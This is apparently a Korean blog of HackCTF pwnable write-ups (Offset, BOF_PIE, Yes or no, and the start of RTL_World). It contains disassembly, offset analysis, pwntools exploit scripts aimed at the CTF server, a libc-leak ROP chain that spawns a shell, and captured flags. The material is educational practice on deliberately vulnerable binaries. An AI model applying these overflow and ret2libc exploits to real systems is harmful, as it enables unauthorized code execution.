   0x000007c4 <+69>:	test   eax,eax
   0x000007c6 <+71>:	jne    0x7d1 <select_func+82>
   0x000007c8 <+73>:	lea    eax,[ebx-0x1864]
   0x000007ce <+79>:	mov    DWORD PTR [ebp-0xc],eax
   0x000007d1 <+82>:	mov    eax,DWORD PTR [ebp-0xc]
   0x000007d4 <+85>:	call   eax
   0x000007d6 <+87>:	nop
   0x000007d7 <+88>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x000007da <+91>:	leave  
   0x000007db <+92>:	ret    
End of assembler dump.
  • select_func+73~85 부분에서 one 함수를 호출함
  • ebp-0xc로 one 함수 주소를 저장하는 것으로 보아 입력 값과 둘간의 offset을 구하면 변조할 수 있을 것으로 보임
  • select_func+69에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffcfde에 저장

  • one 함수 주소는 0xffffcffc에 저장

  • 사용자의 입력~0xffffcffc까지의 offset = 30(0x1e)

 

문제 해결

💡 dummy(30) + print_flag_Address or offset
  • PIE가 걸려있지만 base주소만 바뀌고 offset은 고정
  • 1바이트 bof가 발생하므로 주소 offset의 하위 1바이트를 변조할 수 있음

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')

p.recvuntil("?")
payload = "A"*30 + p32(e.symbols['print_flag']) //print_flag 전체 주소를 넣어도 하위 1바이트만 변조되기 때문에 정상적으로 입력됨
#payload = "A"*30 + p32(0xd8)

p.sendline(payload)
p.interactive()

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3007)
e=ELF('./offset')

p.recvuntil("?")
payload = b"A"*30 + p32(e.symbols['print_flag'])
#payload = b"A"*30 + p32(0xd8)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{76155655017129668567067265451379677609132507783606}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 존재

 

바이너리 실행

  • j0n9hyun의 주소를 출력한 후 사용자로부터 입력을 받고 있음
  • 주소 값의 하위 1.5byte는 고정되어 있음 → PIE가 걸려있어 모든 영역이 상대주소를 가짐. offset은 고정

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome();
  puts("Nah...");
  return 0;
}
  • 단순히 welcome 함수 호출

 

IDA 분석 - welcome 함수

int welcome()
{
  char v1; // [esp+6h] [ebp-12h]@1

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Hello, Do you know j0n9hyun?");
  printf("j0n9hyun is %p\\n", welcome);
  return _isoc99_scanf("%s", &v1);
}
  • printf에서 welcome 함수 주소 출력
  • return에서 사용자의 입력을 받고 있음 → 입력값에 대한 길이 검증을 실시하지 않아 BOF 발생

 

IDA 분석 - j0n9hyun 함수

void j0n9hyun()
{
  char s; // [esp+4h] [ebp-34h]@3
  FILE *stream; // [esp+2Ch] [ebp-Ch]@1

  puts("ha-wi");
  stream = fopen("flag", "r");
  if ( stream )
  {
    fgets(&s, 40, stream);
    fclose(stream);
    puts(&s);
  }
  else
  {
    perror("flag");
  }
}
  • flag 획득 가능

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x00000640  _init
0x00000680  printf@plt
0x00000690  fgets@plt
0x000006a0  fclose@plt
0x000006b0  perror@plt
0x000006c0  puts@plt
0x000006d0  __libc_start_main@plt
0x000006e0  setvbuf@plt
0x000006f0  fopen@plt
0x00000700  __isoc99_scanf@plt
0x00000710  __cxa_finalize@plt
0x00000718  __gmon_start__@plt
0x00000720  _start
0x00000760  __x86.get_pc_thunk.bx
0x00000770  deregister_tm_clones
0x000007b0  register_tm_clones
0x00000800  __do_global_dtors_aux
0x00000850  frame_dummy
0x0000088c  __x86.get_pc_thunk.dx
0x00000890  j0n9hyun
0x00000909  welcome
0x00000973  main
0x000009b0  __libc_csu_init
0x00000a10  __libc_csu_fini
0x00000a14  _fini
  • main offset: 0x973
  • welcome offset: 0x909
  • j0n9hyun offset: 0x890

 

gdb 분석 - main 함수

pwndbg> disass welcome
Dump of assembler code for function welcome:
   0x00000909 <+0>:	push   ebp
   0x0000090a <+1>:	mov    ebp,esp
   0x0000090c <+3>:	sub    esp,0x18
   0x0000090f <+6>:	mov    eax,ds:0x0
   0x00000914 <+11>:	push   0x0
   0x00000916 <+13>:	push   0x2
   0x00000918 <+15>:	push   0x0
   0x0000091a <+17>:	push   eax
   0x0000091b <+18>:	call   0x91c <welcome+19>
   0x00000920 <+23>:	add    esp,0x10
   0x00000923 <+26>:	mov    eax,ds:0x0
   0x00000928 <+31>:	push   0x0
   0x0000092a <+33>:	push   0x2
   0x0000092c <+35>:	push   0x0
   0x0000092e <+37>:	push   eax
   0x0000092f <+38>:	call   0x930 <welcome+39>
   0x00000934 <+43>:	add    esp,0x10
   0x00000937 <+46>:	sub    esp,0xc
   0x0000093a <+49>:	push   0xa3d
   0x0000093f <+54>:	call   0x940 <welcome+55>
   0x00000944 <+59>:	add    esp,0x10
   0x00000947 <+62>:	sub    esp,0x8
   0x0000094a <+65>:	push   0x909
   0x0000094f <+70>:	push   0xa5a
   0x00000954 <+75>:	call   0x955 <welcome+76>
   0x00000959 <+80>:	add    esp,0x10
   0x0000095c <+83>:	sub    esp,0x8
   0x0000095f <+86>:	lea    eax,[ebp-0x12]
   0x00000962 <+89>:	push   eax
   0x00000963 <+90>:	push   0xa6a
   0x00000968 <+95>:	call   0x969 <welcome+96>
   0x0000096d <+100>:	add    esp,0x10
   0x00000970 <+103>:	nop
   0x00000971 <+104>:	leave  
   0x00000972 <+105>:	ret    
End of assembler dump.
  • 함수 이름이 나타나지 않음
  • 디컴파일 흐름에 따라 가장 마지막에 위치한 call 부분이 scanf 함수를 호출하는 부분일 것이라 예측
  • welcome+100에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffd026에 저장

  • 0xffffd03c에서 main+22(ret) 확인
  • 사용자의 입력~0xffffd03c까지의 offset = 22(0x16)

 

문제 해결

💡 dummy(22) + j0n9hyun_address(0x890)

→ j0n9hyun의 주소까지의 offset = welcome 주소(0x909) - j0n9hyun 주소(0x890) = 121(0x79)

→ 바이너리 실행으로 얻을 수 있는 welcome 주소를 이용해 offset만큼 빼주면 j0n9hyun 주소를 구할 수 있음

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3008)
e=ELF('./bof_pie')

p.recvuntil("is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - 0x79

payload = "A"*22 + p32(j0n9hyun)

p.sendline(payload)
p.interactive()

 

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3008)
e=ELF('./bof_pie')

p.recvuntil("is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - 0x79

payload = b"A"*22 + p32(j0n9hyun)

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{243699563792879976364976468837}

[정리]

  • NX Bit

: heap, stack, data영역에 실행권한이 없음

  • PIE

: code(text)영역을 포함한 모든 영역이 랜덤하게 매핑(data, stack, heap, libc)

  • ASLR

: stack, heap, library 영역이 랜덤하게 매핑

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30
[HackCTF] Offset  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30

[문제]


[풀이]

스터디 할 때 만들어갔던 ppt도 첨부!

Pwnable 7week.pptx
2.51MB

 

  • 64bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 int형의 입력 값을 받음
  • do_system+1094를 hint로 제공

 

do_system+1094

💡 2.27 glibc 버전에서 발생하는 system 함수 내에서 생성되는 오류 rsp의 값이 16바이트로 채워져 있지 않으면 do_system+1094 에 존재하는 명령어에서 오류 발생

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@2
  int v4; // eax@2
  int v5; // ecx@6
  int v6; // eax@6
  int v7; // eax@8
  char s; // [rsp+Eh] [rbp-12h]@1
  int v10; // [rsp+18h] [rbp-8h]@1
  int v11; // [rsp+1Ch] [rbp-4h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  v11 = 5;
  puts("Show me your number~!");
  fgets(&s, 10, stdin);
  v10 = atoi(&s);
  if ( (v11 - 10) >> 3 < 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = v11++;
    v4 = v10 - v3;
  }
  if ( v4 == v10 )
  {
    puts("Sorry. You can't come with us");
  }
  else
  {
    v5 = 1204 / ++v11;
    v6 = v11++;
    if ( v10 == v6 * v5 << (++v11 % 20 + 5) )
    {
      puts("That's cool. Follow me");
      gets(&s);
    }
    else
    {
      v7 = v11--;
      if ( v10 == v7 )
      {
        printf("Why are you here?");
        return 0;
      }
      puts("All I can say to you is \\"do_system+1094\\".\\ngood luck");
    }
  }
  return 0;
}
  • 특정한 연산을 통해 값을 비교하여 일치 여부에 따라 분기 → 일치해야 하는 값은 정적으로 분석하기 어려움으로 gdb로 분석
  • gets 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x0000000000400558  _init
0x0000000000400580  puts@plt
0x0000000000400590  printf@plt
0x00000000004005a0  fgets@plt
0x00000000004005b0  gets@plt
0x00000000004005c0  setvbuf@plt
0x00000000004005d0  atoi@plt
0x00000000004005e0  _start
0x0000000000400610  _dl_relocate_static_pie
0x0000000000400620  deregister_tm_clones
0x0000000000400650  register_tm_clones
0x0000000000400690  __do_global_dtors_aux
0x00000000004006c0  frame_dummy
0x00000000004006c7  main
0x0000000000400820  __libc_csu_init
0x0000000000400890  __libc_csu_fini
0x0000000000400894  _fini
  • main 주소: 0x00000000004006c7

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006c7 <+0>:	push   rbp
   0x00000000004006c8 <+1>:	mov    rbp,rsp
   0x00000000004006cb <+4>:	sub    rsp,0x20
   0x00000000004006cf <+8>:	mov    rax,QWORD PTR [rip+0x20098a]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x00000000004006d6 <+15>:	mov    ecx,0x0
   0x00000000004006db <+20>:	mov    edx,0x2
   0x00000000004006e0 <+25>:	mov    esi,0x0
   0x00000000004006e5 <+30>:	mov    rdi,rax
   0x00000000004006e8 <+33>:	call   0x4005c0 <setvbuf@plt>
   0x00000000004006ed <+38>:	mov    DWORD PTR [rbp-0x4],0x5
   0x00000000004006f4 <+45>:	lea    rdi,[rip+0x1ad]        # 0x4008a8
   0x00000000004006fb <+52>:	call   0x400580 <puts@plt>
   0x0000000000400700 <+57>:	mov    rdx,QWORD PTR [rip+0x200969]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400707 <+64>:	lea    rax,[rbp-0x12]
   0x000000000040070b <+68>:	mov    esi,0xa
   0x0000000000400710 <+73>:	mov    rdi,rax
   0x0000000000400713 <+76>:	call   0x4005a0 <fgets@plt>
   0x0000000000400718 <+81>:	lea    rax,[rbp-0x12]
   0x000000000040071c <+85>:	mov    rdi,rax
   0x000000000040071f <+88>:	mov    eax,0x0
   0x0000000000400724 <+93>:	call   0x4005d0 <atoi@plt>
   0x0000000000400729 <+98>:	mov    DWORD PTR [rbp-0x8],eax
   0x000000000040072c <+101>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040072f <+104>:	sub    eax,0xa
   0x0000000000400732 <+107>:	sar    eax,0x3
   0x0000000000400735 <+110>:	test   eax,eax
   0x0000000000400737 <+112>:	js     0x40074b <main+132>
   0x0000000000400739 <+114>:	mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040073c <+117>:	lea    edx,[rax+0x1]
   0x000000000040073f <+120>:	mov    DWORD PTR [rbp-0x4],edx
   0x0000000000400742 <+123>:	mov    edx,DWORD PTR [rbp-0x8]
   0x0000000000400745 <+126>:	sub    edx,eax
   0x0000000000400747 <+128>:	mov    eax,edx
   0x0000000000400749 <+130>:	jmp    0x400750 <main+137>
   0x000000000040074b <+132>:	mov    eax,0x0
   0x0000000000400750 <+137>:	cmp    eax,DWORD PTR [rbp-0x8]
   0x0000000000400753 <+140>:	jne    0x400766 <main+159>
   0x0000000000400755 <+142>:	lea    rdi,[rip+0x162]        # 0x4008be
   0x000000000040075c <+149>:	call   0x400580 <puts@plt>
   0x0000000000400761 <+154>:	jmp    0x40080a <main+323>
   0x0000000000400766 <+159>:	add    DWORD PTR [rbp-0x4],0x1
   0x000000000040076a <+163>:	mov    eax,0x4b4
   0x000000000040076f <+168>:	cdq    
   0x0000000000400770 <+169>:	idiv   DWORD PTR [rbp-0x4]
   0x0000000000400773 <+172>:	mov    ecx,eax
   0x0000000000400775 <+174>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000400778 <+177>:	lea    edx,[rax+0x1]
   0x000000000040077b <+180>:	mov    DWORD PTR [rbp-0x4],edx
   0x000000000040077e <+183>:	mov    esi,ecx
   0x0000000000400780 <+185>:	imul   esi,eax
   0x0000000000400783 <+188>:	add    DWORD PTR [rbp-0x4],0x1
   0x0000000000400787 <+192>:	mov    ecx,DWORD PTR [rbp-0x4]
   0x000000000040078a <+195>:	mov    edx,0x66666667
   0x000000000040078f <+200>:	mov    eax,ecx
   0x0000000000400791 <+202>:	imul   edx
   0x0000000000400793 <+204>:	sar    edx,0x3
   0x0000000000400796 <+207>:	mov    eax,ecx
   0x0000000000400798 <+209>:	sar    eax,0x1f
   0x000000000040079b <+212>:	sub    edx,eax
   0x000000000040079d <+214>:	mov    eax,edx
   0x000000000040079f <+216>:	shl    eax,0x2
   0x00000000004007a2 <+219>:	add    eax,edx
   0x00000000004007a4 <+221>:	shl    eax,0x2
   0x00000000004007a7 <+224>:	sub    ecx,eax
   0x00000000004007a9 <+226>:	mov    edx,ecx
   0x00000000004007ab <+228>:	lea    eax,[rdx+0x5]
   0x00000000004007ae <+231>:	mov    ecx,eax
   0x00000000004007b0 <+233>:	shl    esi,cl
   0x00000000004007b2 <+235>:	mov    eax,esi
   0x00000000004007b4 <+237>:	cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007b7 <+240>:	jne    0x4007d8 <main+273>
   0x00000000004007b9 <+242>:	lea    rdi,[rip+0x11c]        # 0x4008dc
   0x00000000004007c0 <+249>:	call   0x400580 <puts@plt>
   0x00000000004007c5 <+254>:	lea    rax,[rbp-0x12]
   0x00000000004007c9 <+258>:	mov    rdi,rax
   0x00000000004007cc <+261>:	mov    eax,0x0
   0x00000000004007d1 <+266>:	call   0x4005b0 <gets@plt>
   0x00000000004007d6 <+271>:	jmp    0x40080a <main+323>
   0x00000000004007d8 <+273>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004007db <+276>:	lea    edx,[rax-0x1]
   0x00000000004007de <+279>:	mov    DWORD PTR [rbp-0x4],edx
   0x00000000004007e1 <+282>:	cmp    DWORD PTR [rbp-0x8],eax
   0x00000000004007e4 <+285>:	jne    0x4007fe <main+311>
   0x00000000004007e6 <+287>:	lea    rdi,[rip+0x106]        # 0x4008f3
   0x00000000004007ed <+294>:	mov    eax,0x0
   0x00000000004007f2 <+299>:	call   0x400590 <printf@plt>
   0x00000000004007f7 <+304>:	mov    eax,0x0
   0x00000000004007fc <+309>:	jmp    0x40080f <main+328>
   0x00000000004007fe <+311>:	lea    rdi,[rip+0x103]        # 0x400908
   0x0000000000400805 <+318>:	call   0x400580 <puts@plt>
   0x000000000040080a <+323>:	mov    eax,0x0
   0x000000000040080f <+328>:	leave  
   0x0000000000400810 <+329>:	ret    
End of assembler dump.
  • flag를 출력하기 위해 값을 비교하여 분기하는 부분은 main+237에서 진행
  • main+237에 bp를 걸어 비교 값 확인

  • 사용자의 입력은 0x7fffffffde48에 저장
  • rax레지스터에 0x96000이 있는 것으로 보아 해당 값과 사용자의 입력 값을 비교하는 것을 알 수 있음

→ 사용자는 9830400을 입력 해야 flag 획득을 위한 분기문에 접근할 수 있음

  • 9830400 입력 시, 특정 문구와 함께 gets함수로 사용자의 입력을 받음

→ BOF 발생, 그러나 shell을 실행할 수 있는 함수나 코드가 존재하지 않음

→ ROP를 이용하여 system(”/bin/sh”)를 실행하도록 조작

 

문제 해결

💡 1. gets 함수를 통해 BOF 공격 → RET 부분을 이용해 ROP 공격
2. printf나 puts 함수를 이용해 offset 구하기
2. got주소 - symbols 주소를 통해 offset 구하기 → libc_base 주소 구할 수 있음
3. libc_base + system offset / libc_base + binsh offset으로 실제 주소 구하기
4. dummy + system + ret + /bin/sh 형태의 exploit

 

  1. gets 함수를 통해 BOF 공격 발생
  • BOF 공격을 위해서는 buffer 크기(dummy)를 알아야 함

  • 사용자의 입력은 0x7fffffffde4e에 저장됨
  • 0x7fffffffde68에서 __libc_start_main+231 확인
  • 사용자의 입력~0x7fffffffde68까지의 offset = 26(0x1a)

 

2. puts 함수를 이용해 offset 구하기

  • puts, printf, write 등의 함수는 사용자에게 특정한 값을 출력해주는 함수임
    • 문제에서는 puts함수나 printf 함수를 이용할 수 있음
    • ALSR이 적용된 바이너리에서 주소들의 base를 구하기 위해서는 현재 바이너리에 puts 함수를 나타내는 symbols 주소와 GOT 주소의 차를 통해 offset를 구해야 함.
    • 이를 위해서는 바이너리를 실행했을 때 설정된 got 주소를 출력해줘야 함. 구한 값을 사용하기 위해서는 사용자에게 출력해주고, 이를 pwntools에서 recv 함수를 통해 즉석으로 받아오는 과정이 필요함. → memory leak
  • puts 함수의 인자를 빼준 후(pop rdi; ret), 해당 인자를 puts 함수의 got으로 넣어주면 puts(puts@got)으로 사용자에게 got주소를 출력해줄 것임
  • 64bit 아키텍처에서 인자는 아래와 같은 순서로 레지스터에 담김
💡 Parameter 1 - rdi
Parameter 2 - rsi
Parameter 3 - rdx
Parameter 4 - rcx
Parameter 5 - r8
Parameter 6 - r9
Parameter 7 - (%rsp)
Parameter 8 - 0x8(%rsp)
system call - %rax

 

64bit rop

💡 32bit에서는 함수 주소 + 가젯 + 인자 + ret 과 같은 형태로 이용
x64에서는 Gadgets을 이용해 인자 값을 레지스터에 먼저 저장 후 함수 호출함
  • dummy(26) + puts@plt + pop rdi; ret + puts@got + main의 형태가 아니라
    • dummy(26) + pop rdi; ret + puts@got + puts@plt + main으로 사용해야 함
    • pop rdi; ret 가젯을 레지스터에 저장후, 인자 세팅. 이후에 puts함수 호출. 마지막은 ret으로 system(”/bin/sh”)를 한 번에 실행하기 위해 다시 main함수로 돌아감.

 

가젯 구하기

pop rdi; ret: 0x0000000000400883

ret: 0x40056e

  • RTL 기본 Exploit [dummy] + [system] + [ret(dummy)] + [/bin/sh]
    → puts의 인자로 /bin/sh주고 ret에 system을 불러올 것!

 

Python - puts@got 주소 leak

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = e.libc
libc = ELF("libc-2.27.so")

#address
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
gadget = p64(0x400883)
main = p64(e.symbols['main'])

#payload
payload = "a"*26
payload += gadget
payload += puts_got
payload += puts_plt
payload += main

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

 

Python - base 주소 계산

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
puts_symbols = e.symbols['puts']
gadget = p64(0x400883)
ret_gadget = p64(0x40056e)
main = p64(e.symbols['main'])

#system('/bin/sh')
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]

#payload to leak
payload = "a"*26
payload += gadget
payload += puts_got
payload += puts_plt
payload += main

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]

#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))

#exploit
payload2 = "a"*26
payload2 += p64(gadget)
payload2 += p64(binsh_address)
payload2 += p64(ret_gadget)
payload2 += p64(system_address)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)

p.interactive()

 

Python - One_Gadget

  • 0x4f2c5와 0x10a38c로 one shot gadget을 이용할 경우 단순히 one_gadget 주소만 구하면 됨
  • 0x4f322의 경우 강제로 null 조건을 맞추면 사용할 수 있음

 

0x4f2c5와 0x10a38c gadget 이용시

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
one_gadget = 0x4f2c5

#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
one_address = base_address+ one_gadget

#exploit
payload2 = "a"*26
payload2 += p64(one_address)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)

p.interactive()

 

0x4f322 gadget 이용시

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
e = ELF("./yes_or_no")
libc = ELF("libc-2.27.so")

#address
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_symbols = libc.symbols['puts']
gadget = 0x400883
ret_gadget = 0x40056e
main = e.symbols['main']
system = libc.symbols['system']
binsh = libc.search('/bin/sh').next()
#binsh = list(libc.search('/bin/sh'))[0]
one_gadget = 0x4f322

#payload to leak
payload = "a"*26
payload += p64(gadget)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload)

puts = p.recv(6).ljust(8,'\\x00')
puts = u64(puts)
log.info("puts_address: "+hex(puts))

#base_address
base_address = puts - puts_symbols
log.info("base_address: "+hex(base_address))
system_address = base_address + system
log.info("system_address: "+hex(system_address))
binsh_address = base_address + binsh
log.info("/bin/sh_address: "+hex(binsh_address))
one_address = base_address+ one_gadget

#exploit
payload2 = "a"*26
payload2 += p64(one_address)
payload2 += p64(0)*100

p.recvuntil("~!\\n")
p.sendline("9830400")
p.recvuntil("me\\n")
p.sendline(payload2)

p.interactive()


flag

🍒 HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Offset  (0) 2022.10.30
[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30

[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 입력받음

입력 값에 따른 결과 값 정리

  1. Information the Binary Boss!
[Binary Boss]

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
ASLR:  Enable
Binary Boss live in 0xf7f213d0
Binart Boss HP is 140 + Armor + 4

 

2. Make Money

This world is F*cking JabonJui
1) Farming... -> 100 gold
2) Item selling... -> 350 gold
3) Hunting... -> 500 gold
(Job)>>>
++ 4) Wow! you can find Hidden number!
Life is Just a One Shot...
Gambling...
-> 1714636915 gold

 

3. Get the System Armor

System Armor : 0xf7d5a2e0

 

4. Get the Shell Sword

Shell Sword : 0xf7e9b0af

 

5. Kill the Binary Boss!!!

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@14
  int v4; // [esp+10h] [ebp-90h]@5
  char buf; // [esp+14h] [ebp-8Ch]@14
  void *v6; // [esp+94h] [ebp-Ch]@1
  void *handle; // [esp+98h] [ebp-8h]@1
  void *s1; // [esp+9Ch] [ebp-4h]@1

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\\n\\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\\n");
  printf("Your Gold : %d\\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}
  • Binary Boss information을 통해 boss의 주소를 알 수 있음 → 하위 1.5byte는 3d0으로 고정됨(ASLR)
  • Binart Boss HP is 140 + Armor + 4을 보아 dummy(140) + binsh+ ret(4) + system 형태로 입력하는 것이 아닐까 추측
  • 1999 gold로 system address 획득
  • 2999 gold로 binsh address 획득
  • 1024byte만큼 attack에 입력 가능

 

IDA 분석 - Get_Money 함수

int Get_Money()
{
  int result; // eax@1
  int v1; // [esp+8h] [ebp-Ch]@1
  int v2; // [esp+Ch] [ebp-8h]@1
  int v3; // [esp+10h] [ebp-4h]@1

  puts("\\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\\nYour Gold is %d\\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\\nYour Gold is %d\\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\\n", v2);
      gold += v2;
      result = printf("\\nYour Gold is %d\\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\\nYour Gold is %d\\n", gold);
  }
  return result;
}
  • hidden number를 통해 한번에 gold를 충족할 수 있음

 

IDA 분석 - Menu 함수

int Menu()
{
  puts("======= Welcome to RTL World =======");
  puts("1) Information the Binary Boss!");
  puts("2) Make Money");
  puts("3) Get the System Armor");
  puts("4) Get the Shell Sword");
